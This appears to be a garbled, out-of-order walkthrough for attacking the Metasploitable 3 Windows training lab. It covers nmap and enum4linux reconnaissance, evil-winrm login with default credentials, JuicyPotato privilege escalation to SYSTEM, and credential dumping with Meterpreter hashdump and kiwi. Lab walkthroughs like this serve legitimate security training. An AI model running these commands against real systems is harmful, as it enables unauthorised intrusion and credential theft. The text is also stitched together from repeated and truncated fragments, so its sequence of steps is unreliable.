Walkthrough | Metasploitable 3 Windows

Invoke-Command -ScriptBlock { C:\temp\JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami > C:\temp\priv.txt" -t * } If successful, SYSTEM. You are now SYSTEM or Administrator . Your mission: Own the forest. Method A: Meterpreter (If you used MSF) meterpreter > hashdump # Or meterpreter > load kiwi meterpreter > creds_all Method B: Mimikatz via PowerShell If you are in a native shell (Evil-WinRM or cmd):

Once in Jenkins, go to "Manage Jenkins" -> "Script Console". This is a Groovy script executor. You can run: metasploitable 3 windows walkthrough

This walkthrough will guide you from initial reconnaissance to full system control. We will use Kali Linux as our attack platform and target . Invoke-Command -ScriptBlock { C:\temp\JuicyPotato

# Install evil-winrm gem install evil-winrm evil-winrm -i 192.168.56.102 -u administrator -p vagrant Method A: Meterpreter (If you used MSF) meterpreter

enum4linux -a 192.168.56.102 Look for the share list. You will likely see C$ (Admin share) and ADMIN$ . But also look for a share named vulnshare or similar. Note the OS version: . This OS is out of support—perfect. Part 3: The Web Attack Surface (Low Hanging Fruit) 3.1 IIS Default Page (Port 80) Navigate to http://192.168.56.102 in Firefox. You see the IIS welcome screen. Not much here yet, but directory busting is required.

Developed by Rapid7 in collaboration with Vagrant, Metasploitable 3 is a deliberately vulnerable Windows machine designed to teach real-world Active Directory exploitation, misconfiguration management, and post-exploitation tactics. This is not a simple "click-and-exploit" box. It requires understanding Windows services, firewall rules, and privilege escalation vectors.

nmap -sV -sC -O -p 80,445,3389,4848,8172,9200 192.168.56.102 The presence of WinRM (port 47001) and SMB signing disabled will be our eventual keys to the kingdom. Step 2.3: Enum4linux (The SMB Goldmine) Windows Loves SMB. Misconfigured shares are the low-hanging fruit.